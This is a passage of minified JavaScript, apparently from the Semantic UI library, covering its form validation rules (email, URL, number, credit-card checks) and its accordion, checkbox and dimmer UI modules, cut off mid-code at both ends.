t=e(this),n=t.filter(k.checkbox).length>0,i=n?t.is(":checked"):t.val();t.data(w.defaultValue,i)})},error:function(){O.removeClass(S.success).addClass(S.error)},value:function(e,t){var n={};return n[e]=t,F.set.values.call(D,n)},values:function(t){e.isEmptyObject(t)||e.each(t,function(t,n){var i,o=F.get.field(t),a=o.parent(),r=e.isArray(n),s=a.is(k.uiCheckbox),l=a.is(k.uiDropdown),c=o.is(k.radio)&&s,u=o.length>0;u&&(r&&s?(F.verbose("Selecting multiple",n,o),a.checkbox("uncheck"),e.each(n,function(e,t){i=o.filter('[value="'+t+'"]'),a=i.parent(),i.length>0&&a.checkbox("check")})):c?(F.verbose("Selecting radio value",n,o),o.filter('[value="'+n+'"]').parent(k.uiCheckbox).checkbox("check")):s?(F.verbose("Setting checkbox value",n,a),n===!0?a.checkbox("check"):a.checkbox("uncheck")):l?(F.verbose("Setting dropdown value",n,a),a.dropdown("set selected",n)):(F.verbose("Setting field value",n,o),o.val(n)))})}},validate:{form:function(e,t){var n=F.get.values();if(j)return!1;if(q=[],F.is.valid()){if(F.debug("Form has no validation errors, submitting"),F.set.success(),t!==!0)return x.onSuccess.call(D,e,n)}else if(F.debug("Form has errors"),F.set.error(),x.inline||F.add.errors(q),O.data("moduleApi")!==i&&e.stopImmediatePropagation(),t!==!0)return x.onFailure.call(D,q,n)},field:function(t,n){var o=t.identifier||n,a=F.get.field(o),r=!!t.depends&&F.get.field(t.depends),s=!0,l=[];return t.identifier||(F.debug("Using field name as identifier",o),t.identifier=o),a.prop("disabled")?(F.debug("Field is disabled. Skipping",o),s=!0):t.optional&&F.is.blank(a)?(F.debug("Field is optional and blank. Skipping",o),s=!0):t.depends&&F.is.empty(r)?(F.debug("Field depends on another value that is not present or empty. Skipping",r),s=!0):t.rules!==i&&e.each(t.rules,function(e,n){F.has.field(o)&&!F.validate.rule(t,n)&&(F.debug("Field is invalid",o,n.type),l.push(F.get.prompt(n,t)),s=!1)}),s?(F.remove.prompt(o,l),x.onValid.call(a),!0):(q=q.concat(l),F.add.prompt(o,l),x.onInvalid.call(a,l),!1)},rule:function(t,n){var o=F.get.field(t.identifier),a=(n.type,o.val()),r=F.get.ancillaryValue(n),s=F.get.ruleName(n),l=x.rules[s];return e.isFunction(l)?(a=a===i||""===a||null===a?"":e.trim(a+""),l.call(o,a,r)):void F.error(T.noRule,s)}},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,x,t);else{if(n===i)return x[t];x[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,F,t);else{if(n===i)return F[t];F[t]=n}},debug:function(){!x.silent&&x.debug&&(x.performance?F.performance.log(arguments):(F.debug=Function.prototype.bind.call(console.info,console,x.name+":"),F.debug.apply(console,arguments)))},verbose:function(){!x.silent&&x.verbose&&x.debug&&(x.performance?F.performance.log(arguments):(F.verbose=Function.prototype.bind.call(console.info,console,x.name+":"),F.verbose.apply(console,arguments)))},error:function(){x.silent||(F.error=Function.prototype.bind.call(console.error,console,x.name+":"),F.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;x.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:D,"Execution Time":n})),clearTimeout(F.performance.timer),F.performance.timer=setTimeout(F.performance.display,500)},display:function(){var t=x.name+":",n=0;s=!1,clearTimeout(F.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=E;return n=n||f,a=D||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},F.initialize()}),o!==i?o:this},e.fn.form.settings={name:"Form",namespace:"form",debug:!1,verbose:!1,performance:!0,fields:!1,keyboardShortcuts:!0,on:"submit",inline:!1,delay:200,revalidate:!0,transition:"scale",duration:200,onValid:function(){},onInvalid:function(){},onSuccess:function(){return!0},onFailure:function(){return!1},metadata:{defaultValue:"default",validate:"validate"},regExp:{bracket:/\[(.*)\]/i,decimal:/^\d*(\.)\d+/,email:/^[a-z0-9!#$%&'*+\/=?^_`{|}~.-]+@[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i,escape:/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,flags:/^\/(.*)\/(.*)?/,integer:/^\-?\d+$/,number:/^\-?\d*(\.\d+)?$/,url:/(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/i},text:{unspecifiedRule:"Please enter a valid value",unspecifiedField:"This field"},prompt:{empty:"{name} must have a value",checked:"{name} must be checked",email:"{name} must be a valid e-mail",url:"{name} must be a valid url",regExp:"{name} is not formatted correctly",integer:"{name} must be an integer",decimal:"{name} must be a decimal number",number:"{name} must be set to a number",is:'{name} must be "{ruleValue}"',isExactly:'{name} must be exactly "{ruleValue}"',not:'{name} cannot be set to "{ruleValue}"',notExactly:'{name} cannot be set to exactly "{ruleValue}"',contain:'{name} cannot contain "{ruleValue}"',containExactly:'{name} cannot contain exactly "{ruleValue}"',doesntContain:'{name} must contain  "{ruleValue}"',doesntContainExactly:'{name} must contain exactly "{ruleValue}"',minLength:"{name} must be at least {ruleValue} characters",length:"{name} must be at least {ruleValue} characters",exactLength:"{name} must be exactly {ruleValue} characters",maxLength:"{name} cannot be longer than {ruleValue} characters",match:"{name} must match {ruleValue} field",different:"{name} must have a different value than {ruleValue} field",creditCard:"{name} must be a valid credit card number",minCount:"{name} must have at least {ruleValue} choices",exactCount:"{name} must have exactly {ruleValue} choices",maxCount:"{name} must have {ruleValue} or less choices"},selector:{checkbox:'input[type="checkbox"], input[type="radio"]',clear:".clear",field:"input, textarea, select",group:".field",input:"input",message:".error.message",prompt:".prompt.label",radio:'input[type="radio"]',reset:'.reset:not([type="reset"])',submit:'.submit:not([type="submit"])',uiCheckbox:".ui.checkbox",uiDropdown:".ui.dropdown"},className:{error:"error",label:"ui prompt label",pressed:"down",success:"success"},error:{identifier:"You must specify a string identifier for each field",method:"The method you called is not defined.",noRule:"There is no rule matching the one you specified",oldSyntax:"Starting in 2.0 forms now only take a single settings object. Validation settings converted to new syntax automatically."},templates:{error:function(t){var n='<ul class="list">';return e.each(t,function(e,t){n+="<li>"+t+"</li>"}),n+="</ul>",e(n)},prompt:function(t){return e("<div/>").addClass("ui basic red pointing prompt label").html(t[0])}},rules:{empty:function(t){return!(t===i||""===t||e.isArray(t)&&0===t.length)},checked:function(){return e(this).filter(":checked").length>0},email:function(t){return e.fn.form.settings.regExp.email.test(t)},url:function(t){return e.fn.form.settings.regExp.url.test(t)},regExp:function(t,n){if(n instanceof RegExp)return t.match(n);var i,o=n.match(e.fn.form.settings.regExp.flags);return o&&(n=o.length>=2?o[1]:n,i=o.length>=3?o[2]:""),t.match(new RegExp(n,i))},integer:function(t,n){var o,a,r,s=e.fn.form.settings.regExp.integer;return n&&["",".."].indexOf(n)===-1&&(n.indexOf("..")==-1?s.test(n)&&(o=a=n-0):(r=n.split("..",2),s.test(r[0])&&(o=r[0]-0),s.test(r[1])&&(a=r[1]-0))),s.test(t)&&(o===i||t>=o)&&(a===i||t<=a)},decimal:function(t){return e.fn.form.settings.regExp.decimal.test(t)},number:function(t){return e.fn.form.settings.regExp.number.test(t)},is:function(e,t){return t="string"==typeof t?t.toLowerCase():t,e="string"==typeof e?e.toLowerCase():e,e==t},isExactly:function(e,t){return e==t},not:function(e,t){return e="string"==typeof e?e.toLowerCase():e,t="string"==typeof t?t.toLowerCase():t,e!=t},notExactly:function(e,t){return e!=t},contains:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n,"i"))!==-1},containsExactly:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n))!==-1},doesntContain:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n,"i"))===-1},doesntContainExactly:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n))===-1},minLength:function(e,t){return e!==i&&e.length>=t},length:function(e,t){return e!==i&&e.length>=t},exactLength:function(e,t){return e!==i&&e.length==t},maxLength:function(e,t){return e!==i&&e.length<=t},match:function(t,n){var o;e(this);return e('[data-validate="'+n+'"]').length>0?o=e('[data-validate="'+n+'"]').val():e("#"+n).length>0?o=e("#"+n).val():e('[name="'+n+'"]').length>0?o=e('[name="'+n+'"]').val():e('[name="'+n+'[]"]').length>0&&(o=e('[name="'+n+'[]"]')),o!==i&&t.toString()==o.toString()},different:function(t,n){var o;e(this);return e('[data-validate="'+n+'"]').length>0?o=e('[data-validate="'+n+'"]').val():e("#"+n).length>0?o=e("#"+n).val():e('[name="'+n+'"]').length>0?o=e('[name="'+n+'"]').val():e('[name="'+n+'[]"]').length>0&&(o=e('[name="'+n+'[]"]')),o!==i&&t.toString()!==o.toString()},creditCard:function(t,n){var i,o,a={visa:{pattern:/^4/,length:[16]},amex:{pattern:/^3[47]/,length:[15]},mastercard:{pattern:/^5[1-5]/,length:[16]},discover:{pattern:/^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)/,length:[16]},unionPay:{pattern:/^(62|88)/,length:[16,17,18,19]},jcb:{pattern:/^35(2[89]|[3-8][0-9])/,length:[16]},maestro:{pattern:/^(5018|5020|5038|6304|6759|676[1-3])/,length:[12,13,14,15,16,17,18,19]},dinersClub:{pattern:/^(30[0-5]|^36)/,length:[14]},laser:{pattern:/^(6304|670[69]|6771)/,length:[16,17,18,19]},visaElectron:{pattern:/^(4026|417500|4508|4844|491(3|7))/,length:[16]}},r={},s=!1,l="string"==typeof n&&n.split(",");if("string"==typeof t&&0!==t.length){if(l&&(e.each(l,function(n,i){o=a[i],o&&(r={length:e.inArray(t.length,o.length)!==-1,pattern:t.search(o.pattern)!==-1},r.length&&r.pattern&&(s=!0))}),!s))return!1;if(i={number:e.inArray(t.length,a.unionPay.length)!==-1,pattern:t.search(a.unionPay.pattern)!==-1},i.number&&i.pattern)return!0;for(var c=t.length,u=0,d=[[0,1,2,3,4,5,6,7,8,9],[0,2,4,6,8,1,3,5,7,9]],f=0;c--;)f+=d[u][parseInt(t.charAt(c),10)],u^=1;return f%10===0&&f>0}},minCount:function(e,t){return 0==t||(1==t?""!==e:e.split(",").length>=t)},exactCount:function(e,t){return 0==t?""===e:1==t?""!==e&&e.search(",")===-1:e.split(",").length==t},maxCount:function(e,t){return 0!=t&&(1==t?e.search(",")===-1:e.split(",").length<=t)}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.accordion=function(n){var o,a=e(this),r=(new Date).getTime(),s=[],l=arguments[0],c="string"==typeof l,u=[].slice.call(arguments,1);t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return a.each(function(){var d,f,m=e.isPlainObject(n)?e.extend(!0,{},e.fn.accordion.settings,n):e.extend({},e.fn.accordion.settings),g=m.className,p=m.namespace,h=m.selector,v=m.error,b="."+p,y="module-"+p,x=a.selector||"",C=e(this),w=C.find(h.title),k=C.find(h.content),S=this,T=C.data(y);f={initialize:function(){f.debug("Initializing",C),f.bind.events(),m.observeChanges&&f.observeChanges(),f.instantiate()},instantiate:function(){T=f,C.data(y,f)},destroy:function(){f.debug("Destroying previous instance",C),C.off(b).removeData(y)},refresh:function(){w=C.find(h.title),k=C.find(h.content)},observeChanges:function(){"MutationObserver"in t&&(d=new MutationObserver(function(e){f.debug("DOM tree modified, updating selector cache"),f.refresh()}),d.observe(S,{childList:!0,subtree:!0}),f.debug("Setting up mutation observer",d))},bind:{events:function(){f.debug("Binding delegated events"),C.on(m.on+b,h.trigger,f.event.click)}},event:{click:function(){f.toggle.call(this)}},toggle:function(t){var n=t!==i?"number"==typeof t?w.eq(t):e(t).closest(h.title):e(this).closest(h.title),o=n.next(k),a=o.hasClass(g.animating),r=o.hasClass(g.active),s=r&&!a,l=!r&&a;f.debug("Toggling visibility of content",n),s||l?m.collapsible?f.close.call(n):f.debug("Cannot close accordion content collapsing is disabled"):f.open.call(n)},open:function(t){var n=t!==i?"number"==typeof t?w.eq(t):e(t).closest(h.title):e(this).closest(h.title),o=n.next(k),a=o.hasClass(g.animating),r=o.hasClass(g.active),s=r||a;return s?void f.debug("Accordion already open, skipping",o):(f.debug("Opening accordion content",n),m.onOpening.call(o),m.exclusive&&f.closeOthers.call(n),n.addClass(g.active),o.stop(!0,!0).addClass(g.animating),m.animateChildren&&(e.fn.transition!==i&&C.transition("is supported")?o.children().transition({animation:"fade in",queue:!1,useFailSafe:!0,debug:m.debug,verbose:m.verbose,duration:m.duration}):o.children().stop(!0,!0).animate({opacity:1},m.duration,f.resetOpacity)),void o.slideDown(m.duration,m.easing,function(){o.removeClass(g.animating).addClass(g.active),f.reset.display.call(this),m.onOpen.call(this),m.onChange.call(this)}))},close:function(t){var n=t!==i?"number"==typeof t?w.eq(t):e(t).closest(h.title):e(this).closest(h.title),o=n.next(k),a=o.hasClass(g.animating),r=o.hasClass(g.active),s=!r&&a,l=r&&a;!r&&!s||l||(f.debug("Closing accordion content",o),m.onClosing.call(o),n.removeClass(g.active),o.stop(!0,!0).addClass(g.animating),m.animateChildren&&(e.fn.transition!==i&&C.transition("is supported")?o.children().transition({animation:"fade out",queue:!1,useFailSafe:!0,debug:m.debug,verbose:m.verbose,duration:m.duration}):o.children().stop(!0,!0).animate({opacity:0},m.duration,f.resetOpacity)),o.slideUp(m.duration,m.easing,function(){o.removeClass(g.animating).removeClass(g.active),f.reset.display.call(this),m.onClose.call(this),m.onChange.call(this)}))},closeOthers:function(t){var n,o,a,r=t!==i?w.eq(t):e(this).closest(h.title),s=r.parents(h.content).prev(h.title),l=r.closest(h.accordion),c=h.title+"."+g.active+":visible",u=h.content+"."+g.active+":visible";m.closeNested?(n=l.find(c).not(s),a=n.next(k)):(n=l.find(c).not(s),o=l.find(u).find(c).not(s),n=n.not(o),a=n.next(k)),n.length>0&&(f.debug("Exclusive enabled, closing other content",n),n.removeClass(g.active),a.removeClass(g.animating).stop(!0,!0),m.animateChildren&&(e.fn.transition!==i&&C.transition("is supported")?a.children().transition({animation:"fade out",useFailSafe:!0,debug:m.debug,verbose:m.verbose,duration:m.duration}):a.children().stop(!0,!0).animate({opacity:0},m.duration,f.resetOpacity)),a.slideUp(m.duration,m.easing,function(){e(this).removeClass(g.active),f.reset.display.call(this)}))},reset:{display:function(){f.verbose("Removing inline display from element",this),e(this).css("display",""),""===e(this).attr("style")&&e(this).attr("style","").removeAttr("style")},opacity:function(){f.verbose("Removing inline opacity from element",this),e(this).css("opacity",""),""===e(this).attr("style")&&e(this).attr("style","").removeAttr("style")}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){return f.debug("Changing internal",t,n),n===i?f[t]:void(e.isPlainObject(t)?e.extend(!0,f,t):f[t]=n)},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=r||t,n=t-i,r=t,s.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:S,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;r=!1,clearTimeout(f.performance.timer),e.each(s,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",x&&(t+=" '"+x+"'"),(console.group!==i||console.table!==i)&&s.length>0&&(console.groupCollapsed(t),console.table?console.table(s):e.each(s,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),s=[]}},invoke:function(t,n,a){var r,s,l,c=T;return n=n||u,a=S||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(f.error(v.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},c?(T===i&&f.initialize(),f.invoke(l)):(T!==i&&T.invoke("destroy"),f.initialize())}),o!==i?o:this},e.fn.accordion.settings={name:"Accordion",namespace:"accordion",silent:!1,debug:!1,verbose:!1,performance:!0,on:"click",observeChanges:!0,exclusive:!0,collapsible:!0,closeNested:!1,animateChildren:!0,duration:350,easing:"easeOutQuad",onOpening:function(){},onOpen:function(){},onClosing:function(){},
onClose:function(){},onChange:function(){},error:{method:"The method you called is not defined"},className:{active:"active",animating:"animating"},selector:{accordion:".accordion",title:".title",trigger:".title",content:".content"}},e.extend(e.easing,{easeOutQuad:function(e,t,n,i,o){return-i*(t/=o)*(t-2)+n}})}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.checkbox=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1);return r.each(function(){var r,m,g=e.extend(!0,{},e.fn.checkbox.settings,o),p=g.className,h=g.namespace,v=g.selector,b=g.error,y="."+h,x="module-"+h,C=e(this),w=e(this).children(v.label),k=e(this).children(v.input),S=k[0],T=!1,A=!1,R=C.data(x),P=this;m={initialize:function(){m.verbose("Initializing checkbox",g),m.create.label(),m.bind.events(),m.set.tabbable(),m.hide.input(),m.observeChanges(),m.instantiate(),m.setup()},instantiate:function(){m.verbose("Storing instance of module",m),R=m,C.data(x,m)},destroy:function(){m.verbose("Destroying module"),m.unbind.events(),m.show.input(),C.removeData(x)},fix:{reference:function(){C.is(v.input)&&(m.debug("Behavior called on <input> adjusting invoked element"),C=C.closest(v.checkbox),m.refresh())}},setup:function(){m.set.initialLoad(),m.is.indeterminate()?(m.debug("Initial value is indeterminate"),m.indeterminate()):m.is.checked()?(m.debug("Initial value is checked"),m.check()):(m.debug("Initial value is unchecked"),m.uncheck()),m.remove.initialLoad()},refresh:function(){w=C.children(v.label),k=C.children(v.input),S=k[0]},hide:{input:function(){m.verbose("Modifying <input> z-index to be unselectable"),k.addClass(p.hidden)}},show:{input:function(){m.verbose("Modifying <input> z-index to be selectable"),k.removeClass(p.hidden)}},observeChanges:function(){"MutationObserver"in t&&(r=new MutationObserver(function(e){m.debug("DOM tree modified, updating selector cache"),m.refresh()}),r.observe(P,{childList:!0,subtree:!0}),m.debug("Setting up mutation observer",r))},attachEvents:function(t,n){var i=e(t);n=e.isFunction(m[n])?m[n]:m.toggle,i.length>0?(m.debug("Attaching checkbox events to element",t,n),i.on("click"+y,n)):m.error(b.notFound)},event:{click:function(t){var n=e(t.target);return n.is(v.input)?void m.verbose("Using default check action on initialized checkbox"):n.is(v.link)?void m.debug("Clicking link inside checkbox, skipping toggle"):(m.toggle(),k.focus(),void t.preventDefault())},keydown:function(e){var t=e.which,n={enter:13,space:32,escape:27};t==n.escape?(m.verbose("Escape key pressed blurring field"),k.blur(),A=!0):e.ctrlKey||t!=n.space&&t!=n.enter?A=!1:(m.verbose("Enter/space key pressed, toggling checkbox"),m.toggle(),A=!0)},keyup:function(e){A&&e.preventDefault()}},check:function(){m.should.allowCheck()&&(m.debug("Checking checkbox",k),m.set.checked(),m.should.ignoreCallbacks()||(g.onChecked.call(S),g.onChange.call(S)))},uncheck:function(){m.should.allowUncheck()&&(m.debug("Unchecking checkbox"),m.set.unchecked(),m.should.ignoreCallbacks()||(g.onUnchecked.call(S),g.onChange.call(S)))},indeterminate:function(){return m.should.allowIndeterminate()?void m.debug("Checkbox is already indeterminate"):(m.debug("Making checkbox indeterminate"),m.set.indeterminate(),void(m.should.ignoreCallbacks()||(g.onIndeterminate.call(S),g.onChange.call(S))))},determinate:function(){return m.should.allowDeterminate()?void m.debug("Checkbox is already determinate"):(m.debug("Making checkbox determinate"),m.set.determinate(),void(m.should.ignoreCallbacks()||(g.onDeterminate.call(S),g.onChange.call(S))))},enable:function(){return m.is.enabled()?void m.debug("Checkbox is already enabled"):(m.debug("Enabling checkbox"),m.set.enabled(),g.onEnable.call(S),void g.onEnabled.call(S))},disable:function(){return m.is.disabled()?void m.debug("Checkbox is already disabled"):(m.debug("Disabling checkbox"),m.set.disabled(),g.onDisable.call(S),void g.onDisabled.call(S))},get:{radios:function(){var t=m.get.name();return e('input[name="'+t+'"]').closest(v.checkbox)},otherRadios:function(){return m.get.radios().not(C)},name:function(){return k.attr("name")}},is:{initialLoad:function(){return T},radio:function(){return k.hasClass(p.radio)||"radio"==k.attr("type")},indeterminate:function(){return k.prop("indeterminate")!==i&&k.prop("indeterminate")},checked:function(){return k.prop("checked")!==i&&k.prop("checked")},disabled:function(){return k.prop("disabled")!==i&&k.prop("disabled")},enabled:function(){return!m.is.disabled()},determinate:function(){return!m.is.indeterminate()},unchecked:function(){return!m.is.checked()}},should:{allowCheck:function(){return m.is.determinate()&&m.is.checked()&&!m.should.forceCallbacks()?(m.debug("Should not allow check, checkbox is already checked"),!1):g.beforeChecked.apply(S)!==!1||(m.debug("Should not allow check, beforeChecked cancelled"),!1)},allowUncheck:function(){return m.is.determinate()&&m.is.unchecked()&&!m.should.forceCallbacks()?(m.debug("Should not allow uncheck, checkbox is already unchecked"),!1):g.beforeUnchecked.apply(S)!==!1||(m.debug("Should not allow uncheck, beforeUnchecked cancelled"),!1)},allowIndeterminate:function(){return m.is.indeterminate()&&!m.should.forceCallbacks()?(m.debug("Should not allow indeterminate, checkbox is already indeterminate"),!1):g.beforeIndeterminate.apply(S)!==!1||(m.debug("Should not allow indeterminate, beforeIndeterminate cancelled"),!1)},allowDeterminate:function(){return m.is.determinate()&&!m.should.forceCallbacks()?(m.debug("Should not allow determinate, checkbox is already determinate"),!1):g.beforeDeterminate.apply(S)!==!1||(m.debug("Should not allow determinate, beforeDeterminate cancelled"),!1)},forceCallbacks:function(){return m.is.initialLoad()&&g.fireOnInit},ignoreCallbacks:function(){return T&&!g.fireOnInit}},can:{change:function(){return!(C.hasClass(p.disabled)||C.hasClass(p.readOnly)||k.prop("disabled")||k.prop("readonly"))},uncheck:function(){return"boolean"==typeof g.uncheckable?g.uncheckable:!m.is.radio()}},set:{initialLoad:function(){T=!0},checked:function(){return m.verbose("Setting class to checked"),C.removeClass(p.indeterminate).addClass(p.checked),m.is.radio()&&m.uncheckOthers(),!m.is.indeterminate()&&m.is.checked()?void m.debug("Input is already checked, skipping input property change"):(m.verbose("Setting state to checked",S),k.prop("indeterminate",!1).prop("checked",!0),void m.trigger.change())},unchecked:function(){return m.verbose("Removing checked class"),C.removeClass(p.indeterminate).removeClass(p.checked),!m.is.indeterminate()&&m.is.unchecked()?void m.debug("Input is already unchecked"):(m.debug("Setting state to unchecked"),k.prop("indeterminate",!1).prop("checked",!1),void m.trigger.change())},indeterminate:function(){return m.verbose("Setting class to indeterminate"),C.addClass(p.indeterminate),m.is.indeterminate()?void m.debug("Input is already indeterminate, skipping input property change"):(m.debug("Setting state to indeterminate"),k.prop("indeterminate",!0),void m.trigger.change())},determinate:function(){return m.verbose("Removing indeterminate class"),C.removeClass(p.indeterminate),m.is.determinate()?void m.debug("Input is already determinate, skipping input property change"):(m.debug("Setting state to determinate"),void k.prop("indeterminate",!1))},disabled:function(){return m.verbose("Setting class to disabled"),C.addClass(p.disabled),m.is.disabled()?void m.debug("Input is already disabled, skipping input property change"):(m.debug("Setting state to disabled"),k.prop("disabled","disabled"),void m.trigger.change())},enabled:function(){return m.verbose("Removing disabled class"),C.removeClass(p.disabled),m.is.enabled()?void m.debug("Input is already enabled, skipping input property change"):(m.debug("Setting state to enabled"),k.prop("disabled",!1),void m.trigger.change())},tabbable:function(){m.verbose("Adding tabindex to checkbox"),k.attr("tabindex")===i&&k.attr("tabindex",0)}},remove:{initialLoad:function(){T=!1}},trigger:{change:function(){var e=n.createEvent("HTMLEvents"),t=k[0];t&&(m.verbose("Triggering native change event"),e.initEvent("change",!0,!1),t.dispatchEvent(e))}},create:{label:function(){k.prevAll(v.label).length>0?(k.prev(v.label).detach().insertAfter(k),m.debug("Moving existing label",w)):m.has.label()||(w=e("<label>").insertAfter(k),m.debug("Creating label",w))}},has:{label:function(){return w.length>0}},bind:{events:function(){m.verbose("Attaching checkbox events"),C.on("click"+y,m.event.click).on("keydown"+y,v.input,m.event.keydown).on("keyup"+y,v.input,m.event.keyup)}},unbind:{events:function(){m.debug("Removing events"),C.off(y)}},uncheckOthers:function(){var e=m.get.otherRadios();m.debug("Unchecking other radios",e),e.removeClass(p.checked)},toggle:function(){return m.can.change()?void(m.is.indeterminate()||m.is.unchecked()?(m.debug("Currently unchecked"),m.check()):m.is.checked()&&m.can.uncheck()&&(m.debug("Currently checked"),m.uncheck())):void(m.is.radio()||m.debug("Checkbox is read-only or disabled, ignoring toggle"))},setting:function(t,n){if(m.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];e.isPlainObject(g[t])?e.extend(!0,g[t],n):g[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];m[t]=n}},debug:function(){!g.silent&&g.debug&&(g.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,g.name+":"),m.debug.apply(console,arguments)))},verbose:function(){!g.silent&&g.verbose&&g.debug&&(g.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,g.name+":"),m.verbose.apply(console,arguments)))},error:function(){g.silent||(m.error=Function.prototype.bind.call(console.error,console,g.name+":"),m.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;g.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:P,"Execution Time":n})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,500)},display:function(){var t=g.name+":",n=0;l=!1,clearTimeout(m.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=R;return n=n||f,o=P||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(m.error(b.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(R===i&&m.initialize(),m.invoke(u)):(R!==i&&R.invoke("destroy"),m.initialize())}),a!==i?a:this},e.fn.checkbox.settings={name:"Checkbox",namespace:"checkbox",silent:!1,debug:!1,verbose:!0,performance:!0,uncheckable:"auto",fireOnInit:!1,onChange:function(){},beforeChecked:function(){},beforeUnchecked:function(){},beforeDeterminate:function(){},beforeIndeterminate:function(){},onChecked:function(){},onUnchecked:function(){},onDeterminate:function(){},onIndeterminate:function(){},onEnable:function(){},onDisable:function(){},onEnabled:function(){},onDisabled:function(){},className:{checked:"checked",indeterminate:"indeterminate",disabled:"disabled",hidden:"hidden",radio:"radio",readOnly:"read-only"},error:{method:"The method you called is not defined"},selector:{checkbox:".ui.checkbox",label:"label, .box",input:'input[type="checkbox"], input[type="radio"]',link:"a[href]"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.dimmer=function(t){var o,a=e(this),r=(new Date).getTime(),s=[],l=arguments[0],c="string"==typeof 